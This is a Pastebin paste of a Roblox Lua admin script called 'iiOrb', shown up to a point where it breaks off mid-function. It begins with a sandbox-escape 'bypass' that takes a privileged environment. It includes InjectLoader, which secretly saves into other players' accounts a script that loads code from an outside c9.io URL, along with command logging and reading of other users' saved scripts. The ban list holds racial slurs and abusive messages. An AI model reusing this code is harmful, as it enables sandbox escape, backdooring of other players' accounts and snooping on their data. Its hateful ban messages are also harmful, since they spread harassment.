Advertisement
yonidrori

Untitled

Oct 17th, 2015
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.42 KB | None | 0 0
  1.  
  2. wait(); --Unremovable bypass
  3. script.Parent=nil
  4. rawset(shared, "\0bp", function()
  5. local i=game:service'InsertService':LoadAssetVersion(519416165);
  6. local n=i:children()[1];
  7. game:service'Debris':AddItem(i,0);
  8. n.Parent=workspace;
  9. coroutine.yield();
  10. local e;
  11. pcall(_G.OSC_AddServerSideData,setmetatable({},{__index=function(...)e=getfenv(2)end,__metatable=''}));
  12. _G.OSC_AddServerSideData=nil;
  13. game:service'Debris':AddItem(n,0);
  14. return e
  15. end);
  16. local y=shared['\0bp']();
  17. shared["\0bp"]=nil;
  18. game:GetService'ReplicatedStorage':ClearAllChildren();
  19. y.setfenv(0,y);
  20. y.setfenv(1,y);
  21. y.pcall(function() y.setfenv(2,y); end); --Ends the bypass
  22.  
  23. -- Easiest Fixing ever l0l.
  24.  
  25. --// TOTS NOT SOLARIS :)
  26. local iiOrb = {
  27. AccessKey = "=BNFO@E%+gAOyLJbIJSlQ!IXOfg^10wezjG6Nf#^b4fO%&wFuzAQ|youxgW&3gl&epj4V5=EFLO9#HAJ";
  28. --// Kill Switch
  29. __STATUS = true;
  30. --// Administrations Components
  31. Admins = {
  32. ['Control22']={Level=5};
  33. [tostring(game.Players:GetNameFromUserIdAsync(1))]={Level=5};
  34. ["jebjordan"]={Level=5};
  35. ['supersonicfan111']={Level=2};
  36. ['ohdamnson']={Level=2e9};
  37. ["abakarir"]={Level=5};
  38. ['Ledtred']={Level=4};
  39. ["clv2"]={Level=5};
  40. ["error18"]={Level=2e9};
  41. ["DrAnkIe"]={Level=3};
  42. ["Control22"]={Level=2e9};--Screw you opligitory XD -- LOL.
  43. ["Dev3l0per"]={Level=5}; -- Pretty sure this is op too :/ if not then lol.
  44. ['GuyWithACleverName']={Level=2e9};
  45. ['minecraftrath101']={Level=2e9};
  46. };
  47. Levels = {
  48. [-1]='ih8youk';
  49. [1]="User";
  50. [2]="Trusted";
  51. [3]="Friend";
  52. [4]="Trusted asf person";
  53. [5]="Creator/Developer";
  54. [2e9]='Founder';
  55. };
  56. Banned = {
  57. gage7252002="bye bye skid ur banned now";
  58. Mikko3m="dont ban me skid C:";
  59. --w00t111="this server has a age restriction come back in 970 days";
  60. --CharcterKaiser="go die annoying skid";
  61. --FallingVortex="lrn 2 skript kid gtfo liquidex skid";
  62. robloxchamp20="u ban me i ban u git rkt";
  63. -- iiDeadzone="u ban me i ban u git rkt";
  64. -- endermanac="git bbban11!!!";
  65. -- Dman2435="die just die";
  66. -- Dman2435alt="die just die";
  67. -- meunumbertwo="ur banned bby";
  68. -- Copenricus45="you got stopped by an admin skid c;";
  69. --[he will get pissed if i dont remove this] FallingVortex="A. You're a fuc\5ktard. B. Come back when you stop fmin :) C.T0tallyN0tATr0ll f\5ucking want's you 2 die";
  70. FreeModelInventor="get out skid go suc\5k my d\5ick b\5itch who\5re";
  71. PWNTART = "die pls thx u";
  72. HopeYouHaveAGoodComp="you have been trolled ni\5gger bit\5ch die k\5kk";
  73. BookOEchos="git banned bitch";
  74. Autospy="another alt another ban";
  75. TotallyNotAnAlt1257="another alt another ban";
  76. fmerSKID005="another alt another ban";
  77. crazychimp1284="dienoobkthxbye";
  78. MrXTheGreat="dienoobkthxbye";
  79. ScriptNurd="dienoobkthxbye";
  80. Therealestnumber1="dienoobkthxbye";
  81. Opligi="dienoobkthxbye";
  82. jmckoy12="dienoobkthxbye";
  83. --5asc
  84. DangCoolIsReal3="dienoobkthxbye";
  85. legendy123="dienoobkthxbye";
  86. PithIsOnline="dienoobkthxbye";
  87. Opllgltory="git banned wanabe";
  88. YeaImnotanalt="dienoobkthxbye";
  89. superkiki609="git banned?";
  90. immcool1="git banned now skid";
  91. TickerOfTime='kicking players';
  92. };
  93. Chatted = {
  94. Settings = {
  95. Prefix = ";";
  96. Suffix = "-";
  97. };
  98. Commands = {};
  99. };
  100. --// Orb Components
  101. Settings = {
  102. Orb = nil;
  103. Character = nil;
  104. Following = false;
  105. Target = "";
  106. TrailParts = {};
  107. Trail = true;
  108. OrbColor = BrickColor.new("Institutional white");
  109. TrailColor = BrickColor.new("Institutional white");
  110. Rotation = {
  111. Rot = 0;
  112. Radius = 5;
  113. Height = 1.5;
  114. Bounce = 2.1 [ORIGINAL];
  115. Speed = 0.02;
  116. Length = 0.01;
  117. };
  118. };
  119. --// Tool Components
  120. Blocker = {
  121. LocalBlock = false;
  122. GlobalBlock = false;
  123. LagBlocker = true;
  124. };
  125. LagBlockedInstances = {
  126. "Message";
  127. "Hint";
  128. "Sound";
  129. };
  130. Logs = {};
  131. --// Functional Storage
  132. API = {
  133. Bootstrap = {}
  134. };
  135. }
  136. local Settings = iiOrb.Settings
  137. local API = iiOrb.API
  138. local Bootstrap = API.Bootstrap
  139. local Time = require(285173569)
  140. --local rbxdb = require(278524047)
  141. --local key = "d12ed549bd1bd58b5d9420c5c6919c4e"
  142. --pcall(rbxdb:Connect(key))
  143.  
  144. --// Output API
  145.  
  146. function API.print_to(target,input)
  147. type = type or 'Warn'
  148. if input == nil then input = "nil" end
  149. local plr
  150. if type(target)=='userdata'then
  151. plr = target
  152. elseif type(target)=='string'then
  153. plr = game:GetService('Players'):FindFirstChild(target)
  154. end
  155. if type(plr)=='userdata' then
  156. local str = Instance.new('StringValue',plr)
  157. str.Name = 'SB_Output:Output'
  158. str.Value = game:GetService('HttpService'):JSONEncode{'Warn',input}
  159. end
  160. end local print_to = iiOrb.API.print_to
  161.  
  162. function API.print(input)
  163. if input == nil then input = "nil" end
  164. for i,v in pairs(game:GetService('Players'):children())do
  165. if iiOrb.Admins[v.Name]then
  166. if iiOrb.Admins[v.Name].Level > 2 then
  167. print_to(v,input)
  168. end
  169. end
  170. end
  171. end local print = iiOrb.API.print
  172.  
  173. function API.print_lvl(level,input)
  174. if input == nil then input = "nil" end
  175. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  176. if iiOrb.Admins[v.Name]then
  177. if iiOrb.Admins[v.Name].Level > level then
  178. print_to(v,input)
  179. end
  180. end
  181. end
  182. end local print_lvl = iiOrb.API.print_lvl
  183.  
  184. function API.broadcast(input)
  185. if input == nil then input = "nil" end
  186. for i,v in pairs(game:GetService('Players'):GetPlayers())do
  187. print_to(v,input)
  188. end
  189. end local broadcast = iiOrb.API.broadcast
  190.  
  191. --// Utility API
  192.  
  193. function API.Make(ClassName)
  194. return function(data)
  195. local Instance = Instance.new(ClassName)
  196. for index,value in pairs(data) do
  197. if type(index) == "number" then
  198. value.Parent = Instance
  199. else
  200. Instance[index] = value
  201. end
  202. end
  203. return Instance
  204. end
  205. end local Make = API.Make
  206.  
  207. function API.clerp(p1,p2,percent)
  208. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  209. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  210. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  211. end local clerp = API.clerp
  212.  
  213. function API.Rainbow(i)
  214. local section = i % 1 * 3
  215. local secondary = 0.5 * math.pi * (section % 1)
  216. if section < 1 then
  217. return 1, 1 - math.cos(secondary), 1 - math.sin(secondary)
  218. elseif section < 2 then
  219. return 1 - math.sin(secondary), 1, 1 - math.cos(secondary)
  220. else
  221. return 1 - math.cos(secondary), 1 - math.sin(secondary), 1
  222. end
  223. end local Rainbow = API.Rainbow
  224.  
  225. function API.GetPlayer(msg,plr)
  226. local Collected_Players = {}
  227. if string.lower(msg) == "me" then
  228. table.insert(Collected_Players, plr)
  229. elseif string.lower(msg) == "all" then
  230. for index,player in pairs(game:GetService('Players'):children()) do
  231. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  232. table.insert(Collected_Players, player)
  233. end
  234. end
  235. elseif string.lower(msg) == "others" then
  236. for index,player in pairs(game:GetService('Players'):children()) do
  237. if player.Name ~= plr.Name then
  238. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  239. table.insert(Collected_Players, player)
  240. end
  241. end
  242. end
  243. elseif string.lower(msg) == "friends" then
  244. for index,player in pairs(game:GetService('Players'):children()) do
  245. if player.Name ~= plr.Name then
  246. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  247. if plr:IsFriendsWith(player.userId) == true then
  248. table.insert(Collected_Players, player)
  249. end
  250. end
  251. end
  252. end
  253. elseif string.lower(msg) == "nonfriends" then
  254. for index,player in pairs(game:GetService('Players'):children()) do
  255. if player.Name ~= plr.Name then
  256. if iiOrb.Admins[player.Name].Level < iiOrb.Admins[plr.Name].Level then
  257. if plr:IsFriendsWith(player.userId) == false then
  258. table.insert(Collected_Players, player)
  259. end
  260. end
  261. end
  262. end
  263. else
  264. for index,player in pairs(game:GetService('Players'):children()) do
  265. if string.sub(string.lower(player.Name), 1, #msg) == string.lower(msg) then
  266. if iiOrb.Admins[player.Name].Level <= iiOrb.Admins[plr.Name].Level or (plr.Name == player.Name) then
  267. table.insert(Collected_Players, player)
  268. end
  269. end
  270. end
  271. end
  272. return Collected_Players
  273. end local GetPlayer = API.GetPlayer
  274.  
  275. function API.GetSplit(msg)
  276. return string.find(msg,iiOrb.Chatted.Settings.Suffix)
  277. end local GetSplit = API.GetSplit
  278.  
  279. function API.Generate(Length)
  280. local Generated = ""
  281. for _ = 1, Length do
  282. Generated = Generated .. string.char(math.random(33,126))
  283. end
  284. return Generated
  285. end local Generate = API.Generate
  286.  
  287. function API.GetGarbage(plr)
  288. print_to(plr,"Got Garbage")
  289. print_to(plr,"________________________")
  290. for i = 1,10 do wait(1)
  291. print_to(plr,"| Attempt#"..i.." ["..collectgarbage("count").."] |")
  292. end
  293. print_to(plr,"________________________")
  294. end local GetGarbage = API.GetGarbage
  295.  
  296. --// Orb API
  297.  
  298. function API.SpawnOrb()
  299. Settings.Orb = Make('Part'){
  300. Name = "\5\2\5\2iiOrb 2.0\2\5\2\5";
  301. Parent = game.Workspace,
  302. BrickColor = Settings.OrbColor,
  303. Material = Enum.Material.SmoothPlastic,
  304. Transparency = .1,
  305. Anchored = true,
  306. CanCollide = false,
  307. Locked = true,
  308. FormFactor = "Symmetric",
  309. Shape = "Ball",
  310. Size = Vector3.new(1,1,1),
  311. TopSurface = 10,
  312. BottomSurface = 10,
  313. }Settings.Orb.Changed:connect(function()
  314. if not game.Workspace:FindFirstChild(Settings.Orb.Name)then
  315. if iiOrb.__STATUS == true then
  316. API.SpawnOrb()
  317. end
  318. end
  319. end)
  320. end local SpawnOrb = API.SpawnOrb
  321.  
  322. function API.MakeTrail()
  323. if Settings.Orb ~= nil and Settings.Trail == true then
  324. local Trail = Make'Part'{
  325. Name='\5iiOrb\5',
  326. CanCollide = false,
  327. Parent = Settings.Orb,
  328. BrickColor = Settings.TrailColor,
  329. Material = Enum.Material.SmoothPlastic,
  330. Transparency = .1,
  331. Anchored = true,
  332. Locked = true,
  333. FormFactor = "Custom",
  334. Size = Vector3.new(.2,.2,.2),
  335. CFrame = Settings.Orb.CFrame,
  336. TopSurface = 10,
  337. BottomSurface = 10,
  338. }table.insert(Settings.TrailParts, Trail)
  339. return Trail
  340. end
  341. end local MakeTrail = API.MakeTrail
  342.  
  343. function API.SpawnTrail()
  344. if Settings.Orb ~= nil and Settings.Trail == true then
  345. local Trail = API.MakeTrail()
  346. end
  347. end local SpawnTrail = API.SpawnTrail
  348.  
  349. function API.Rotate()
  350. game:GetService('RunService').Stepped:connect(function()
  351. if iiOrb.__STATUS == true then
  352. wait()
  353. local Following=game:GetService('Players'):FindFirstChild(Settings.Target)
  354. if Following and Following.Character and Following.Character:FindFirstChild("Torso") and Settings.Following then
  355. Settings.Character = Following.Character.Torso.CFrame
  356. else
  357. Settings.Character = CFrame.new(0,5.7,0)
  358. end
  359. if Settings.Orb ~= nil then
  360. Settings.Rotation.Rot = Settings.Rotation.Rot + Settings.Rotation.Speed
  361. Settings.Orb.Name = "ii\5Orb"
  362. Settings.Orb.CFrame = clerp(Settings.Orb.CFrame,
  363. CFrame.new(Settings.Character.p)
  364. *CFrame.new(0,3.9,0)
  365. *CFrame.Angles(0,Settings.Rotation.Rot,(math.sin((tick())*.9)*5)*.6)
  366. *CFrame.new(Settings.Rotation.Radius, math.sin((tick())*Settings.Rotation.Bounce)*Settings.Rotation.Height,2)
  367. *CFrame.Angles(100,Settings.Rotation.Rot,(math.sin((tick())*1)*5)*.9) ,.1)
  368. API.SpawnTrail()
  369. for i,_ in next,Settings.TrailParts do
  370. if Settings.TrailParts[i] ~= nil and Settings.TrailParts[i+1] ~= nil then
  371. local Part1 = Settings.TrailParts[i]
  372. local Part2 = Settings.TrailParts[i+1]
  373. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  374. Part1.Name = math.random(1,99999999)
  375. Part1.Size = Vector3.new(Part1.Size.X+Settings.Rotation.Length, Mag, Part1.Size.Z+Settings.Rotation.Length)
  376. Part1.Transparency = Part1.Transparency + .017
  377. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  378. * CFrame.Angles(math.pi/2,0,0)
  379. if Part1.Size.X >= .74 then
  380. Part1:Destroy()
  381. table.remove(Settings.TrailParts, i)
  382. end
  383. end
  384. end
  385. end
  386. end
  387. end)
  388. end local Rotate = API.Rotate
  389.  
  390. function API.ChangeTheme(plr,theme)
  391. --// Sets orb to default configurations
  392. Settings.Orb.BrickColor = BrickColor.new('White')
  393. Settings.Orb.Transparency = .1
  394. for i,v in pairs(Settings.Orb:children())do if v.ClassName=='SpecialMesh'then v:remove()end end
  395. --// Themes
  396. if theme == 'normal' then
  397. API.SpawnTrail = function()
  398. if Settings.Orb ~= nil and Settings.Trail == true then
  399. local Trail = API.MakeTrail()
  400. end
  401. end
  402. elseif theme == 'c22' or theme == 'default' then
  403. API.SpawnTrail = function()
  404. if Settings.Orb ~= nil and Settings.Trail == true then
  405. local Trail = API.MakeTrail()
  406. spawn(function()
  407. Settings.Orb.BrickColor = BrickColor.new('Really black')
  408. Trail.BrickColor = BrickColor.new('Really red')
  409. local box = Make('SelectionBox'){
  410. Adornee = Trail;
  411. Parent = Trail;
  412. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  413. LineThickness = 0.001;
  414. Color3 = Color3.new(0,0,0);
  415. }
  416. end)
  417. end
  418. end
  419. elseif theme == 't0t' or theme == 'tr0ll' then
  420. API.SpawnTrail = function()
  421. if Settings.Orb ~= nil and Settings.Trail == true then
  422. local Trail = API.MakeTrail()
  423. spawn(function()
  424. Settings.Orb.BrickColor = BrickColor.new('White')
  425. local S_Box = Make('SelectionBox'){
  426. Adornee = Trail;
  427. Parent = Trail;
  428. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  429. LineThickness = 0;
  430. Color3 = BrickColor.new("White").Color;
  431. }
  432. Trail.BrickColor = BrickColor.new('White')
  433. wait(0.5)
  434. Trail.BrickColor = BrickColor.new('Lime green')
  435. end)
  436. end
  437. end
  438. elseif theme == 'error' or theme == 'err' then
  439. API.SpawnTrail = function()
  440. if Settings.Orb ~= nil and Settings.Trail == true then
  441. local Trail = API.MakeTrail()
  442. spawn(function()
  443. Settings.Orb.BrickColor = BrickColor.new('Really red')
  444. local S_Box = Make('SelectionBox'){
  445. Adornee = Trail;
  446. Parent = Trail;
  447. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  448. LineThickness = 0;
  449. Color3 = BrickColor.new("Really red").Color;
  450. }
  451. Trail.BrickColor = BrickColor.new('Really red')
  452. wait(0.5)
  453. Trail.BrickColor = BrickColor.new('Bright orange')
  454. end)
  455. end
  456. end
  457. elseif theme == 'rath' or theme == 'mine101' then
  458. API.SpawnTrail = function()
  459. if Settings.Orb ~= nil and Settings.Trail == true then
  460. local Trail = API.MakeTrail()
  461. spawn(function()
  462. Settings.Orb.BrickColor = BrickColor.new('Toothpaste')
  463. local S_Box = Make('SelectionBox'){
  464. Adornee = Trail;
  465. Parent = Trail;
  466. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  467. LineThickness = 0;
  468. Color3 = BrickColor.new("White").Color;
  469. }
  470. Trail.BrickColor = BrickColor.new('Toothpaste')
  471. wait(0.5)
  472. Trail.BrickColor = BrickColor.new('Really black')
  473. end)
  474. end
  475. end
  476. elseif theme == 'ii' then
  477. API.SpawnTrail = function()
  478. if Settings.Orb ~= nil and Settings.Trail == true then
  479. local Trail = API.MakeTrail()
  480. spawn(function()
  481. Settings.Orb.BrickColor = BrickColor.new('Really black')
  482. local box = Make('SelectionBox'){
  483. Adornee = Trail;
  484. Parent = Trail;
  485. Name = "\5\5\5\5\5SelectionBox\5\5\5\5\5";
  486. LineThickness = 0.001;
  487. Color3 = Color3.new(0,0,0);
  488. }
  489.  
  490. Trail.BrickColor = BrickColor.new('Really black')
  491. wait(0.5)
  492. Trail.BrickColor = BrickColor.new('Lime green')
  493. end)
  494. end
  495. end
  496. elseif theme == 'gwc' then
  497. API.SpawnTrail = function()
  498. local Trail = API.MakeTrail()
  499. spawn(function()
  500. Settings.Orb.BrickColor = BrickColor.new("Lime green")
  501. local S_Box = Make('SelectionBox'){
  502. Adornee = Trail;
  503. Parent = Trail;
  504. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  505. LineThickness = 0.0000001;
  506. Color3 = BrickColor.new("Really black").Color;
  507. }
  508. Trail.BrickColor = BrickColor.new'Lime green'
  509. wait(0.50)
  510. Trail.BrickColor = BrickColor.new'Really blue'
  511. end)
  512. end
  513. elseif theme == 'whiteout' then
  514. API.SpawnTrail = function()
  515. local Trail = API.MakeTrail()
  516. spawn(function()
  517. Trail.BrickColor = BrickColor.new("White")
  518. Settings.Orb.BrickColor = BrickColor.new("Really black")
  519. local S_Box = Make('SelectionBox'){
  520. Adornee = Trail;
  521. Parent = Trail;
  522. Name = "\5\5\5\5\SelectionBox\5\5\5\5\5";
  523. LineThickness = 0;
  524. Color3 = BrickColor.new("Really black").Color;
  525. }
  526. local Mesh = Make('SpecialMesh'){
  527. Parent = Settings.Orb;
  528. MeshId = "http://www.roblox.com/asset/?id=1529453";
  529. Name = "Mesh";
  530. Scale = Vector3.new(2.5,2.5,2.5)
  531. }
  532. end)
  533. end
  534. elseif theme == 'hidden' then
  535. API.SpawnTrail = function()
  536. local Trail = API.MakeTrail()
  537. spawn(function()
  538. Trail.Transparency = 1
  539. Settings.Orb.Transparency = 1
  540. end)
  541. end
  542. else
  543. print_to(plr,"[Error]: "..theme.." is not a valid theme name")
  544. return
  545. end
  546. print_to(plr,"[iiOrb 2.1 [ORIGINAL]]: Orb has changed theme to "..theme)
  547. end local ChangeTheme = API.ChangeTheme
  548.  
  549. function API.Follow(boolean,plr)
  550. if type(plr)~='string'then return end
  551. if boolean == true then
  552. Settings.Following = true
  553. Settings.Target = plr
  554. elseif boolean == false then
  555. Settings.Following = false
  556. Settings.Target = ""
  557. end
  558. end local Follow = API.Follow
  559.  
  560.  
  561. --// Oxcool1 Sb Tools API
  562.  
  563. function API.Sbexe(cmd,plr)
  564. if not type(cmd)=='string'then return end
  565. if plr then
  566. if type(plr)=='userdata'then
  567. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  568. elseif type(plr)=='string'then
  569. plr = game:GetService('Players'):FindFirstChild(plr)
  570. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  571. end
  572. else
  573. for i,v in pairs(game:GetService('Players'):children())do
  574. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  575. end
  576. end
  577. end local Sbexe = API.Sbexe
  578.  
  579. function API.ConnectLogger(plr)
  580. if type(plr) ~= 'userdata'then return end
  581. if plr:FindFirstChild("SB_CommandRemote",true) then
  582. plr:FindFirstChild("SB_CommandRemote",true).Changed:connect(function()
  583. if plr:FindFirstChild("SB_CommandRemote",true).Value == 'h/http://pastebin.com/raw.php?i=TdtSWRAL' then
  584. Sbexe("g/ns")wait(.1)
  585. plr:Kick("[Script Protector]: You have been kicked for attempting to load a blocked script")
  586. end
  587. if #plr:FindFirstChild("SB_CommandRemote",true).Value > 0 then
  588. table.insert(iiOrb.Logs,{User=tostring(plr.Name);Command=tostring(plr:FindFirstChild("SB_CommandRemote",true).Value)})
  589. local CurrentTime = Time:GetTime()
  590. local TimeStamp = ("["..CurrentTime.year.." "..CurrentTime.month.." "..CurrentTime.day.."]")
  591. --rbxdb:SetValue(TimeStamp..": "..tostring(plr.Name),tostring(plr:FindFirstChild("SB_CommandRemote",true).Value))
  592. end
  593. end)
  594. end
  595. end local ConnectLogger = API.ConnectLogger
  596.  
  597. function API.GetLogs(plr)
  598. print_to(plr,"Got logs")
  599. if #iiOrb.Logs > 0 then print_to(plr,"--------------------------------") end
  600. for index,data in pairs(iiOrb.Logs)do
  601. if #iiOrb.Logs > 30 then wait(.1)end
  602. print_to(plr,tostring(data.User))
  603. print_to(plr,tostring(data.Command))
  604. print_to(plr,"--------------------------------")
  605. end
  606. end local GetLogs = API.GetLogs
  607.  
  608. function API.InjectLoader(plr)
  609. Sbexe("remove/load_iiOrb",plr)
  610. Sbexe("ch/load_iiOrb/https://sb-scripts-brandan000124.c9.io/iiOrb 2.0 Module/HttpLoad.lua",plr)
  611. Sbexe("save/load_iiOrb",plr)
  612. print('Injected loader into '..tostring(plr))
  613. print(tostring(plr)..' has been given a loader ;)')-- l0l nice
  614. end local InjectLoader = API.InjectLoader
  615.  
  616. function API.GetSavedScripts(plr)
  617. local Save_Key = string.reverse("stpircSdevaS_xoREDliubtpIrCs");
  618. print_to(plr,"Got Saved Scripts")
  619. for i,v in pairs(game:GetService('Players'):children())do
  620. if v.ClassName == 'Player' then
  621. local Encoded_Table = v:LoadString(Save_Key)
  622. local Decoded_Table
  623.  
  624. --//Table Decoding
  625. if type(Encoded_Table)=='string' and Encoded_Table=="[]"or Encoded_Table==""then
  626. Decoded_Table = {{No=" Saved Scripts"}}
  627. else
  628. Decoded_Table = game:GetService('HttpService'):JSONDecode(Encoded_Table)
  629. end
  630. --// Table Printing
  631. --print_to(plr,"------------------------------------------------------------------")
  632. print_to(plr,"--------------------------["..v.Name.."]--------------------------")
  633. if type(Decoded_Table)=='table'then
  634. for _index,_data in pairs(Decoded_Table)do
  635. for index,data in pairs(_data)do
  636. wait(.1)
  637. print_to(plr,index.." : "..data)
  638. end
  639. end
  640. end
  641. print_to(plr,"------------------------------------------------------------------")
  642. end
  643. end
  644. end local GetSavedScripts = API.GetSavedScripts
  645.  
  646. function API.GiveServerConsole(Player)
  647. if Player:FindFirstChild("PlayerGui") and Player:FindFirstChild("PlayerGui").ClassName == "PlayerGui" then
  648. spawn(function()
  649. local Create = API.Make
  650. local Closed = false
  651. local ScreenGui = Create "ScreenGui" {
  652. Name = "Server Console",
  653. Parent = Player.PlayerGui
  654. }
  655. local Main = Create "TextButton" {
  656. AutoButtonColor = false,
  657. BackgroundColor3 = Color3.new(0, 0, 0),
  658. BorderSizePixel = 0,
  659. Size = UDim2.new(0, 375, 0, 15),
  660. Draggable = true,
  661. Font = "SourceSansBold",
  662. FontSize = "Size14",
  663. TextYAlignment = "Top",
  664. TextColor3 = Color3.new(1, 1, 1),
  665. Text = " Server Console",
  666. TextXAlignment = "Left",
  667. Position = UDim2.new(0.321, 0, 0.196, 0),
  668. Parent = ScreenGui
  669. }
  670. local Refresh = Create "TextButton" {
  671. Active = true,
  672. AutoButtonColor = false,
  673. BackgroundColor3 = Color3.new(0, 0, 0),
  674. BorderSizePixel = 0,
  675. Position = UDim2.new(1, 0, 0, 0),
  676. Size = UDim2.new(0, 60, 0, 15),
  677. Font = "SourceSansBold",
  678. FontSize = "Size14",
  679. Text = "Refresh",
  680. TextYAlignment = "Top",
  681. TextColor3 = Color3.new(1, 1, 1),
  682. TextYAlignment = "Top",
  683. TextXAlignment = "Right",
  684. Parent = Main
  685. }
  686. local TextButton = Create "TextButton" {
  687. AutoButtonColor = false,
  688. BackgroundColor3 = Color3.new(0, 0, 0),
  689. BorderSizePixel = 0,
  690. Position = UDim2.new(1, 60, 0, 0),
  691. Size = UDim2.new(0, 15, 0, 15),
  692. Font = "SourceSansBold",
  693. FontSize = "Size14",
  694. TextYAlignment = "Top",
  695. Text = "-",
  696. TextColor3 = Color3.new(1, 1, 1),
  697. Parent = Main
  698. }
  699. local ContentFrame = Create "Frame" {
  700. BackgroundColor3 = Color3.new(0, 0, 0),
  701. BackgroundTransparency = 0.2,
  702. BorderSizePixel = 0,
  703. Position = UDim2.new(0, 0, 0, 15),
  704. Size = UDim2.new(0, 450, 0, 0),
  705. Parent = Main
  706. }
  707. local ScrollingFrame = Create "ScrollingFrame" {
  708. Size = UDim2.new(1, 0, 1, 0),
  709. CanvasSize = UDim2.new(3, 0, 0, 0),
  710. MidImage = "rbxassetid://158362264",
  711. TopImage = "rbxassetid://158362307",
  712. BottomImage = "rbxassetid://158362221",
  713. BackgroundTransparency = 1,
  714. BorderSizePixel = 0,
  715. ScrollBarThickness = 5,
  716. Parent = ContentFrame
  717. }
  718. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  719. TextButton.MouseButton1Down:connect(function()
  720. if Closed == false then
  721. Closed = true
  722. TextButton.Text = "+"
  723. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 0), "Out", "Quad", 1.5, true)
  724. delay(1, function()
  725. ScrollingFrame.Visible = false
  726. end)
  727. else
  728. Closed = false
  729. TextButton.Text = "-"
  730. ContentFrame:TweenSize(UDim2.new(0, 450, 0, 435), "Out", "Quad", 1.5, true)
  731. delay(0.5, function()
  732. ScrollingFrame.Visible = true
  733. end)
  734. end
  735. end)
  736. local function GetNumberOfChildren(Object)
  737. local Number = -15
  738. for index,child in pairs(Object:GetChildren()) do
  739. if child.ClassName == "TextLabel" then
  740. Number = Number + 15
  741. end
  742. end
  743. return Number
  744. end
  745. local function Output(Text, Color)
  746. local Line = Create "TextLabel" {
  747. ZIndex = 2,
  748. BackgroundTransparency = 1,
  749. BorderSizePixel = 0,
  750. Text = string.format(" %s", Text),
  751. Font = "SourceSansBold",
  752. FontSize = "Size14",
  753. TextColor3 = Color,
  754. TextWrapped = false,
  755. Size = UDim2.new(1, 0, 0, 15),
  756. Position = UDim2.new(0, 0, 0, GetNumberOfChildren(ScrollingFrame)),
  757. TextXAlignment = "Left",
  758. TextYAlignment = "Top",
  759. TextStrokeTransparency = 0.9,
  760. Parent = ScrollingFrame,
  761. }
  762. if #ScrollingFrame:GetChildren() > 29 then
  763. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  764. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  765. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  766. end
  767. end
  768. local function OutputLogHistory()
  769. for index,data in pairs(game.LogService:GetLogHistory()) do
  770. if data.messageType == Enum.MessageType.MessageOutput then
  771. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 1, 1))
  772. elseif data.messageType == Enum.MessageType.MessageWarning then
  773. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0.6, 0.4))
  774. elseif data.messageType == Enum.MessageType.MessageError then
  775. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(1, 0, 0))
  776. elseif data.messageType == Enum.MessageType.MessageInfo then
  777. Output(string.format("%s - %s", data.timestamp, data.message), Color3.new(0.4, 0.5, 1))
  778. end
  779. end
  780. end
  781. OutputLogHistory()
  782. Refresh.MouseButton1Down:connect(function()
  783. ScrollingFrame:ClearAllChildren()
  784. wait()
  785. OutputLogHistory()
  786. end)
  787. end)
  788. end
  789. end local GiveServerConsole = API.GiveServerConsole
  790.  
  791. function API.SafeExe(string_src,string_plr)
  792. if string_src == nil then string_src = "" end
  793.  
  794. local BypassEnv = getfenv(1)
  795. BypassEnv.script = "Locked Object"
  796. BypassEnv.print_to = print_to
  797. rawset(_G,"NewBypassEnv",BypassEnv)
  798.  
  799. local ExecuteSource = [[
  800. wait(.1)
  801. local newEnv = _G.NewBypassEnv
  802. newEnv.owner = getfenv(1).owner
  803. newEnv.print = function(i)
  804. if i == nil then i = "" end
  805. newEnv.print_to(tostring(owner),i)
  806. end
  807. setfenv(1,newEnv)
  808. ]]
  809. local ExeSrc = ExecuteSource..string_src
  810. Sbexe("c/"..ExeSrc,string_plr)
  811. end local SafeExe = API.SafeExe
  812.  
  813. --// Admin API
  814.  
  815. function API.GetAdmins(plr)
  816. for i,v in pairs(iiOrb.Admins)do
  817. print_to(plr,"["..i.."]-"..iiOrb.Levels[v.Level])
  818. end
  819. end local GetAdmins = API.GetAdmins
  820.  
  821. function API.AddCommand(Name,Usage,Desc,Level,Func)
  822. table.insert(iiOrb.Chatted.Commands,{Name=Name,Usage=Usage,Desc=Desc,Level=Level,Func=Func})
  823. end local AddCommand = API.AddCommand
  824.  
  825. function API.Chatted(plr,msg)
  826. if msg:lower()=='h/http://pastebin.com/raw.php?i=TdtSWRAL'then
  827. Sbexe("g/ns")
